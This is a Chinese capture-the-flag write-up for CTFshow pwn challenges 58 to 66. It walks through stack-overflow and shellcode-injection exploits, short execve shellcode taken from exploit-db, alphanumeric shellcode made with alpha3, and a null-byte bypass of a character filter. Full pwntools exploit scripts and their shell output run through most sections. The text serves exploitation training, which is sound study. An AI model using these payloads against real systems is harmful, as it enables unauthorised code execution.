我们可以看出对gets函数调用,参数对应的是 [ebp+s] 的地址,也就是在返回地址上一栈内存单元处,对应主函数中,可以看到:gets 函数写入的地址即为 [ebp+s] 对应的地址,同时我们注意到:call 的地址即为 [ebp+s] 所指向的地址到这里思路就很明显了,我们先输入的内容会被 get 读取,存到内存 [ebp+s] 中,然后在函数在后面的时候,会调用这一部分内容。所以我们只要写入 shellcode ,函数后面就会调用 shellcode 。至于[ebp+s] 是指向哪里 ,我们可以看到 main 函数中没有 offset 变量,所以这 [ebp+s] 指的是局部变量,那就是在栈中,而 nx 保护没有开启,所以 shellcode 在栈上也可以执行。

故我们可以直接使用pwntools的shellcraft模块帮我们生成一个shellcode进行攻击。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28188)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 1340
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Use shellcode to get shell!
* *************************************
Just very easy ret2shellcode&&32bit
Attach it!
jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX̀
$ ls
ctfshow_flag

pwn59

Hint:64位 无限制

分析流程同上,需要注意的是在生成shellcode的时候需要注明架构为64位

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28188)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 1371
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Use shellcode to get shell!
* *************************************
Just very easy ret2shellcode&&64bit
Attach it!
jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05
$ ls
ctfshow_flag

pwn60

Hint:入门难度shellcode

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes

32位保护仅部分开启RELRO,其余保护全关,并且有可读,可写,可执行段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("CTFshow-pwn can u pwn me here!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("See you ~");
return 0;
}

可以看到有gets函数,还是明显的栈溢出漏洞

pwndbg> cyclic 300
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
pwndbg> c
Continuing.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
See you ~
...
*EIP 0x62616164 ('daab')
...
pwndbg> cyclic -l daab
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

下面还使用strncpy函数将对应的字符串复制到 buf2 处。跟进查看:

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends

可以看到buf2在bss段

gdb查看一下:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x8048000 0x8049000 r-xp 1000 0 pwn
0x8049000 0x804a000 r--p 1000 0 pwn
0x804a000 0x804b000 rw-p 1000 1000 pwn
0x9c66000 0x9c88000 rw-p 22000 0 [heap]

bss 段对应的段没有可执行权限(ubunt18.02可以)

我们就可以控制程序执行 shellcode,也就是先读入 shellcode,然后控制程序执行 bss 段处的shellcode。

payload = shellcode.ljust(112,'a') + p32(buf2_addr) 
#shellcode.ljust(112, 'a') :这是使用ljust函数将 shellcode 字符串填充到长度为112的字符串中,并用字母 'a' 填充剩余的空白部分。
#当然,按照之前的写法,我们只需要先将shellcode的长度打印出来,然后让其总长度为112 ,只是我们使用上述函数可以帮助我们一步到位
shellcode = asm(shellcraft.sh())
lenth = len(shellcode)
print(lenth)
payload = shellcode + cyclic(112-lenth) + p32(buf2_addr)
from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
buf2_addr=0x0804A080
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(112,b'a')+p32(buf2_addr)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn61

Hint:输出了什么?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: and64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX diasabled
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments

64位程序,关闭栈保护、NX保护,有可读可写可执行的段

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *__bss_start; // rdi
_QWORD v5[2]; // [rsp+0h] [rbp-10h] BYREF

v5[0] = 0;
v5[1] = 0;
__bss_start = _bss_start;
setvbuf(_bss_start, 0, 1, 0);
logo(__bss_start, 0);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", v5);
puts("Maybe it's useful ! But how to use it?");
gets(v5);
return 0;
}

v5那里存在栈溢出,程序还把v5的地址值给打印出来了

低地址 ──────────────────────────────────────► 高地址
[v5缓冲区(16B) | saved rbp(8B) | 返回地址(8B)]

我们可以先将其接收保存下来,当然,由于开启了PIE保护,该地址会每次变动:

$ ./pwn
What's this : [0x7ffc4dff34e0] ?
$ ./pwn
What's this : [0x7ffef7a4eb20] ?

我们只需要在exp中接收,然后将其保存下来,以便与每次我们使用的都是正确的v5的地址

io.recvuntil('[')
v5 = io.recvuntil(']', drop=True)
v5 = int(v5, 16)
  • 输入流中首先接收数据直到遇到 ‘[‘ 字符为止。

  • 接下来再次从输入流中接收数据,直到遇到 ‘]’ 字符为止,将其保存在变量 v5 中。

  • 最后,将变量 v5 解析为一个十六进制的整数,并将其存储回变量 v5 中。

这样我们第一步的目的就达到了

接下来我们接着看:

call    _gets
mov eax, 0
leave
retn
; } // starts at 7FD
main endp

leave的作用相当于MOV SP,BP;POP BP。

move rsp,rbp
rsp = v5_addr + 0x10
POP RBP
rsp = v5_addr + 0x18
因为leave指令会释放栈空间,因此我们不能使用v5后面的24字
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push 59 /* 0x3b */
pop rax
syscall

而生成的shellcode中对rsp进行了其他操作,所以leave指令会对shellcode的执行造成影响。故v5中不能存放shellcode,v5后的8个字节也不能存放(这里需要存放返回地址)。故我们的shellcode只能放在v5首地址后的 24+8后的地址。

低地址 ──────────────────────────────────────► 高地址
[v5缓冲区(16B) | saved rbp(8B) | 返回地址(8B)]

构造的payload为:

payload = cyclic(0x10+8) + p64(v5 + 24+8) + shellcode

这里需要理解一下

from pwn import *
context(arch = 'amd64',os = 'linux')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28205)
io.recvuntil(b'[')
v5 = io.recvuntil(b']', drop=True) #drop=True是为去掉"]"
v5 = int(v5, 16) #16进制转换10进制
shellcode = asm(shellcraft.sh())
payload = cyclic(0x10+8) + p64(v5 + 32) + shellcode
io.sendline(payload)
io.recv()
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 147
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn62

Hint:短了一点

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No

和上一题一样,IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *__bss_start; // rdi
_QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[0] = 0;
buf[1] = 0;
__bss_start = _bss_start;
setvbuf(_bss_start, 0, 1, 0);
logo(__bss_start, 0);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", buf);
puts("Maybe it's useful ! But how to use it?");
read(0, buf, 0x38u);
return 0;
}

整体逻辑还是差不多,不同之处为变量名字换了(这个并不影响),还有不同的是最后读入换成了read函数,并且限制为0x38

buf分配的空间为0x10,而read的大小为0x38,明显存在溢出,因此我们仍能够使用read来进行栈溢出

偏移量还是为 0x10+8=24

计算允许的SHELLCODE长度【0x38 -(0x10+8)- 8 = 24 】(0x10+8)为造成溢出填充的垃圾数据,后面8为是shellcode地址的长度。因此构建的shellcode必须在24位以内。

直接使用pwntools生成的继续打肯定是不行了,我们需要去寻找符合条件的shellcode,甚至可以自己尝试写更短的(这里随便给出一个符合题目要求的):

24 bytes
https://www.exploit-db.com/shellcodes/43550
shellcode_x64 =
"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x5
2\x57\x54\x5e\x0f\x05"
https://www.exploit-db.com/shellcodes/46907
global _start
section .text
_start:
xor rsi,rsi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall
================================
Instruction for nasm compliation
================================

nasm -f elf64 shellcode.asm -o shellcode.o
ld shellcode.o -o shellcode

===================
objdump disassembly
===================

Disassembly of section .text:

0000000000401000 <_start>:
401000: 48 31 f6 xor %rsi,%rsi
401003: 56 push %rsi
401004: 48 bf 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rdi
40100b: 2f 73 68
40100e: 57 push %rdi
40100f: 54 push %rsp
401010: 5f pop %rdi
401011: 6a 3b pushq $0x3b
401013: 58 pop %rax
401014: 99 cltd
401015: 0f 05 syscall

==================
23 Bytes Shellcode
==================

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

======================
C Compilation And Test
======================

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

*/

#include <stdio.h>

unsigned char shellcode[] = \
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
if args['REMOTE']:
io = remote('pwn.challenge.ctf.show', 28189)
else:
io = process('./pwn')
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
io.recvuntil(b'[')
buf_addr = io.recvuntil(b']', drop=True)
buf_addr = int(buf_addr, 16)
payload=cyclic(0x10+8)+p64(buf_addr + 32)+shellcode
io.sendline(payload)
io.interactive()

简单的增加了一个条件语句,根据参数中是否存在 ‘REMOTE’ 键的值,选择是通过远程连接还是本地进程来运行程序。这样的设计可以根据需要动态选择程序的运行方式,方便在不同环境下进行调试和测试。

$ python3 exp.py
[+] Starting local process './pwn': pid 62
[*] '/CTFshow_pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
?
Maybe it's useful ! But how to use it?
$ ls
ctfshow_flag

pwn63

Hint:又短了一点

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No

和上一题一样,IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *__bss_start; // rdi
_QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[0] = 0;
buf[1] = 0;
__bss_start = _bss_start;
setvbuf(_bss_start, 0, 1, 0);
logo(__bss_start, 0);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", buf);
puts("Maybe it's useful ! But how to use it?");
read(0, buf, 0x37u);
return 0;
}
只剩23位了,还可以用上一道
或者
# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
if args['REMOTE']:
io = remote('pwn.challenge.ctf.show', 28114)
else:
io = process('./pwn')
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
io.recvuntil(b'[')
buf_addr=io.recvuntil(b']',drop=True)
buf_addr=int(buf_addr,16)
payload=cyclic(0x10+8)+p64(buf_addr+32)+shellcode
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 80
[*] Switching to interactive mode
?
Maybe it's useful ! But how to use it?
$ ls
ctfshow_flag

pwn64

Hint:有时候开启某种保护并不代表这条路不通

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位程序,开启了NX,部分开启RELRO

按照题目描述,这里开启了NX,应该是不能执行shellcode了的

我们接着IDA查看一下main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [esp+8h] [ebp-10h]

buf = mmap(0, 0x400u, 7, 34, 0, 0);
alarm(0xAu);
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("Some different!");
if ( read(0, buf, 0x400u) < 0 )
{
puts("Illegal entry!");
exit(1);
}
((void (*)(void))buf)();
return 0;
}

buf = mmap(0, 0x400u, 7, 34, 0, 0); :这行代码使用 mmap 函数分配一块内存区域,将其起始地址保存在变量 buf 中。 mmap 函数通常用于在内存中分配一块连续的地址空间,并指定相应的权限和属性。

这里buf用mmap映射了地址,可读可写可执行,直接传入shellcode,下面 ((void (*)(void))buf)();

调用了buf,运行shellcode 即可获取shell。

所以说有时候需要具体情况具体分析,东西并不是一成不变的。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
if args['REMOTE']:
io = remote('pwn.challenge.ctf.show', 28114)
else:
io = process('./pwn')
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 109
[*] Switching to interactive mode
Some different!
$ ls
ctfshow_flag

pwn65

Hint:你是一个好人

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No

64位程序,开启PIE与完全开启RELRO 有RWX: Has RWX segments

IDA查看main函数(无法反编译,看汇编代码):

.text:0000000000001155 buf             = byte ptr -410h 
#buf=0x410

.text:0000000000001182 mov edx, 400h ; nbytes
.text:0000000000001187 mov rsi, rax ; buf
.text:000000000000118A mov edi, 0 ; fd
.text:000000000000118F mov eax, 0
.text:0000000000001194 call _read
#read(0,buf,0x400)

.text:0000000000001199 mov [rbp+var_8], eax ; 把 eax 的值存到栈变量 var_8 中
.text:000000000000119C cmp [rbp+var_8], 0 ; 比较 var_8 和 0
.text:00000000000011A0 jg short loc_11AC ; 如果 var_8 > 0,则跳转到 loc_11AC(判断输入长度)
.text:00000000000011A2 mov eax, 0 ; 否则(var_8 ≤ 0),将 eax 设为 0
.text:00000000000011A7 jmp locret_1254 ; 无论如何,最终跳转到 locret_1254

要让程序继续执行下去,得跳转到loc_11AC:

.text:00000000000011AC loc_11AC:                               ; CODE XREF: main+4B↑j
.text:00000000000011AC mov [rbp+var_4], 0
.text:00000000000011B3 jmp loc_123A
#将栈上的变量 var_4(位于 rbp - 4 处,4 字节大小)赋值为 0,无条件跳转到 loc_123A

loc_123A:

.text:000000000000123A loc_123A:                               ; CODE XREF: main+5E↑j
.text:000000000000123A mov eax, [rbp+var_4]
.text:000000000000123D cmp eax, [rbp+var_8]
.text:0000000000001240 jl loc_11B8
.text:0000000000001246 lea rax, [rbp+buf]
.text:000000000000124D call rax
.text:000000000000124F mov eax, 0
#如果 var_4 < var_8[即0<输入字符串长度](jl = jump if less than),则跳转到 loc_11B8 标签处,否则获取 buf 的地址 → 调用 buf 中的内容 → 设置返回值 0【字符串地址去执行,可以写入shellcode】

loc_11B8【用于验证缓冲区中的字符是否在 小写字母 a-z 范围内】:

.text:00000000000011B8 loc_11B8:                               ; CODE XREF: main+EB↓j
.text:00000000000011B8 mov eax, [rbp+var_4]
#将 var_4 的值(通常是索引计数器)加载到 eax【作为缓冲区 buf 的索引,用于遍历字符】
.text:00000000000011BB cdqe
#将eax(32位)符号扩展为 rax(64位)【因为后续需要用rax作为内存偏移,确保负数索引正确转换】
.text:00000000000011BD movzx eax, [rbp+rax+buf]
#从 buf[var_4] 位置读取一个字节(就是读取第 var_4 个字符),并零扩展到 eax【rbp + buf 是缓冲区基址,+ rax 是偏移量(即 var_4)】
.text:00000000000011C5 cmp al, 60h ; '`'
.text:00000000000011C7 jle short loc_11DA
#检查字符是否 ≤ 60h(即反引号 `)若是,则跳转到 loc_11DA(处理非法字符)。
.text:00000000000011C9 mov eax, [rbp+var_4]
.text:00000000000011CC cdqe
.text:00000000000011CE movzx eax, [rbp+rax+buf]
.text:00000000000011D6 cmp al, 7Ah ; 'z'
.text:00000000000011D8 jle short loc_1236
#检查字符是否 ≤ 7Ah(即小写字母 z)。若是(字符在 a-z 范围内),跳转到 loc_1236(处理合法字符)。

loc_11DA【检查字符是否属于 大写字母 A-Z 范围】:

.text:00000000000011DA loc_11DA:                               ; CODE XREF: main+72↑j
.text:00000000000011DA mov eax, [rbp+var_4]
.text:00000000000011DD cdqe
.text:00000000000011DF movzx eax, [rbp+rax+buf]
.text:00000000000011E7 cmp al, 40h ; '@'
.text:00000000000011E9 jle short loc_11FC
.text:00000000000011EB mov eax, [rbp+var_4]
.text:00000000000011EE cdqe
.text:00000000000011F0 movzx eax, [rbp+rax+buf]
.text:00000000000011F8 cmp al, 5Ah ; 'Z'
.text:00000000000011FA jle short loc_1236

loc_11FC【检查字符是否属于数字 0-9 或特殊符号 +-/\*】:

.text:00000000000011FC loc_11FC:                               ; CODE XREF: main+94↑j
.text:00000000000011FC mov eax, [rbp+var_4]
.text:00000000000011FF cdqe
.text:0000000000001201 movzx eax, [rbp+rax+buf]
.text:0000000000001209 cmp al, 2Fh ; '/'
.text:000000000000120B jle short loc_121E
.text:000000000000120D mov eax, [rbp+var_4]
.text:0000000000001210 cdqe
.text:0000000000001212 movzx eax, [rbp+rax+buf]
.text:000000000000121A cmp al, 5Ah ; 'Z'
.text:000000000000121C jle short loc_1236
#如果小于等于 0x2F,跳到 loc_121E
#如果小于等于 0x5A,还是跳到 loc_1236
.text:000000000000121E loc_121E:                               ; CODE XREF: main+B6↑j
.text:000000000000121E lea rdi, format ; "Good,but not right"
.text:0000000000001225 mov eax, 0
.text:000000000000122A call _printf
.text:000000000000122F mov eax, 0
.text:0000000000001234 jmp short locret_1254
.text:0000000000001236 ; ---------------------------------------------------------------------------
.text:0000000000001236
.text:0000000000001236 loc_1236: ; CODE XREF: main+83↑j
.text:0000000000001236 ; main+A5↑j ...
.text:0000000000001236 add [rbp+var_4], 1
.text:000000000000123A

.text:0000000000001254
.text:0000000000001254 locret_1254: ; CODE XREF: main+52↑j
.text:0000000000001254 ; main+DF↑j
.text:0000000000001254 leave
.text:0000000000001255 retn
.text:0000000000001255 ; } // starts at 1155
.text:0000000000001255 main endp

总结:输入的字符大致限定在了(60,74)||(2f,5a)两个范围里,都是可打印字符,但是我们的 shellcode 实际上是会包含一些不可打印字符的。string.printable,就是可见字符shellcode。因此这里需要借助到一个工具:alpha3【git clone https://github.com/TaQini/alpha3.git

$ sudo nano exp.py
from pwn import *
context.arch='amd64'
shellcode = asm(shellcraft.sh())
with open('shellcode', 'bw') as f:
f.write(shellcode)
$ python3 exp.py

当前目录下会生成一个名为 shellcode 的二进制文件

$ xxd shellcode  # 以十六进制形式查看
00000000: 6a68 48b8 2f62 696e 2f2f 2f73 5048 89e7 jhH./bin///sPH..
00000010: 6872 6901 0181 3424 0101 0101 31f6 566a hri...4$....1.Vj
00000020: 085e 4801 e656 4889 e631 d26a 3b58 0f05 .^H..VH..1.j;X..
$ cat shellcode
jhH¸/bin///sPH槲i4$^H啈䲒j;X

使用pwntools生成一个shellcode,没法直接输出,有乱码,将shellcode重定向到一个文件中 切换到alpha3目录中,使用alpha3生成string.printable

$ cd alpha3
root@pwn_challenge:/CTFshow_pwn/alpha3$ python2 ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

python3不行,得用Python2【24.04已经没有Python2了,用20.04的】

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=process('./pwn')
shellcode=b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.sendafter(b'Input you Shellcode\n',shellcode) #sendline会使用到换行符,这个也是不可打印字符,要使用send
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 239
[*] Switching to interactive mode

$ ls
ctfshow_flag

pwn66

原题来自:starctf_2019_babyshell

Hint:简单的shellcode?不对劲,十分得有十二分的不对劲

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位关闭栈保护与PIE

从运行的程序的hint以及题目描述中我们能看到与shellcode有关,但是是有限制的shellcode

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
logo();
buf = mmap(0, 0x1000u, 7, 34, 0, 0);
puts("Your shellcode is :");
read(0, buf, 0x200u);
if ( !(unsigned int)check(buf) )
{
printf(" ERROR !");
exit(0);
}
((void (__fastcall *)(void *))buf)(buf);
return 0;
}

buf存在溢出点,往buf里写入shellcode,然后程序会执行shellcode

但是有一个check函数,跟进查看:

__int64 __fastcall check(_BYTE *buf)
{
_BYTE *i; // [rsp+18h] [rbp-10h]

while ( *buf )
{
for ( i = &unk_400F20; *i && *i != *buf; ++i )
;
if ( !*i ) // *i == 0,即字符集遍历结束(遇到 '\0')
return 0;
++buf;
}
return 1;
}

这个函数会对我们输入的shellcode进行检查,我们输入的shellcode的每一位字符要在unk_400F20中,检查的时候*i==0会退出,可以使用\x00来绕过

继续跟进unk_400F20:

.rodata:0000000000400F20 unk_400F20      db  5Ah ; Z             ; DATA XREF: check+8↑o
.rodata:0000000000400F21 db 5Ah ; Z
.rodata:0000000000400F22 db 4Ah ; J
.rodata:0000000000400F23 db 20h
.rodata:0000000000400F24 db 6Ch ; l
.rodata:0000000000400F25 db 6Fh ; o
.rodata:0000000000400F26 db 76h ; v
.rodata:0000000000400F27 db 65h ; e
.rodata:0000000000400F28 db 73h ; s
.rodata:0000000000400F29 db 20h
.rodata:0000000000400F2A db 73h ; s
.rodata:0000000000400F2B db 68h ; h
.rodata:0000000000400F2C db 65h ; e
.rodata:0000000000400F2D db 6Ch ; l
.rodata:0000000000400F2E db 6Ch ; l
.rodata:0000000000400F2F db 5Fh ; _
.rodata:0000000000400F30 db 63h ; c
.rodata:0000000000400F31 db 6Fh ; o
.rodata:0000000000400F32 db 64h ; d
.rodata:0000000000400F33 db 65h ; e
.rodata:0000000000400F34 db 2Ch ; ,
.rodata:0000000000400F35 db 61h ; a
.rodata:0000000000400F36 db 6Eh ; n
.rodata:0000000000400F37 db 64h ; d
.rodata:0000000000400F38 db 20h
.rodata:0000000000400F39 db 68h ; h
.rodata:0000000000400F3A db 65h ; e
.rodata:0000000000400F3B db 72h ; r
.rodata:0000000000400F3C db 65h ; e
.rodata:0000000000400F3D db 20h
.rodata:0000000000400F3E db 69h ; i
.rodata:0000000000400F3F db 73h ; s
.rodata:0000000000400F40 db 20h
.rodata:0000000000400F41 db 61h ; a
.rodata:0000000000400F42 db 20h
.rodata:0000000000400F43 db 67h ; g
.rodata:0000000000400F44 db 69h ; i
.rodata:0000000000400F45 db 66h ; f
.rodata:0000000000400F46 db 74h ; t
.rodata:0000000000400F47 db 3Ah ; :
.rodata:0000000000400F48 db 0Fh
.rodata:0000000000400F49 db 5
.rodata:0000000000400F4A db 20h
.rodata:0000000000400F4B db 65h ; e
.rodata:0000000000400F4C db 6Eh ; n
.rodata:0000000000400F4D db 6Ah ; j
.rodata:0000000000400F4E db 6Fh ; o
.rodata:0000000000400F4F db 79h ; y
.rodata:0000000000400F50 db 20h
.rodata:0000000000400F51 db 69h ; i
.rodata:0000000000400F52 db 74h ; t
.rodata:0000000000400F53 db 21h ; !
.rodata:0000000000400F54 db 0Ah
.rodata:0000000000400F55 db 0

‘ZZJ loves shell_code,and here is a gift:’,0Fh,5,’ enjoy it!’,0Ah,0

那么只需要通过\x00绕过检查, 同时执行我们输入的shellcode就好,\x00B后面加上一个字符,对应一个汇编语句。所以可以通过\x00B\x22、\x00B\x00 、\x00J\x00、\x00RZ、\x00\x42\x22、\x00\x4a\x00等等来绕过那个检查

这个题一种解法是利用可见字符写shellcode 另一种就是绕过它 while(*a),也就是一般写代码的路,遇到\x00就不校验了,所以如果shellcode以\x00开头, 那是不是就解决了? 先找一下汇编指以‘\x00’开头的:

from pwn import * #提供 p8()(将整数转换为单字节)和 disasm()(反汇编机器码)函数
from itertools import * #提供 product() 函数,用于生成所有可能的字节组合
import re #用于正则表达式匹配,过滤包含内存引用的指令

#[p8(k) for k in range(256)] 生成 0x00 到 0xFF 的所有单字节。
#product(..., repeat=i) 生成这些字节的所有排列组合(如 (0x00), (0x01), ..., (0xFF, 0xFF))
#每个测试序列以 \x00 开头,后接 1~2 个任意字节
for i in range(1,3):
for j in product([p8(k) for k in range(256)], repeat=i):
payload=b"\x00" +b"".join(j)
res=disasm(payload) #将机器码转换为汇编指令
if(
res != "\t\t..." #排除无法反汇编的空指令
and not re.search(r"\[\w*?\]",res) #排除包含内存引用的指令
and ".byte" not in res #排除非标准指令
):
print(res)
#input()
$ python3 exp.py
...
0: 00 c0 add al, al
0: 00 c1 add cl, al
0: 00 c2 add dl, al
0: 00 c3 add bl, al
0: 00 c4 add ah, al
0: 00 c5 add ch, al
0: 00 c6 add dh, al
0: 00 c7 add bh, al
0: 00 c8 add al, cl
0: 00 c9 add cl, cl
0: 00 ca add dl, cl
0: 00 cb add bl, cl
0: 00 cc add ah, cl
0: 00 cd add ch, cl
0: 00 ce add dh, cl
0: 00 cf add bh, cl
0: 00 d0 add al, dl
0: 00 d1 add cl, dl
0: 00 d2 add dl, dl
0: 00 d3 add bl, dl
0: 00 d4 add ah, dl
0: 00 d5 add ch, dl
0: 00 d6 add dh, dl
0: 00 d7 add bh, dl
0: 00 d8 add al, bl
0: 00 d9 add cl, bl
0: 00 da add dl, bl
0: 00 db add bl, bl
0: 00 dc add ah, bl
0: 00 dd add ch, bl
0: 00 de add dh, bl
0: 00 df add bh, bl
0: 00 e0 add al, ah
0: 00 e1 add cl, ah
0: 00 e2 add dl, ah
0: 00 e3 add bl, ah
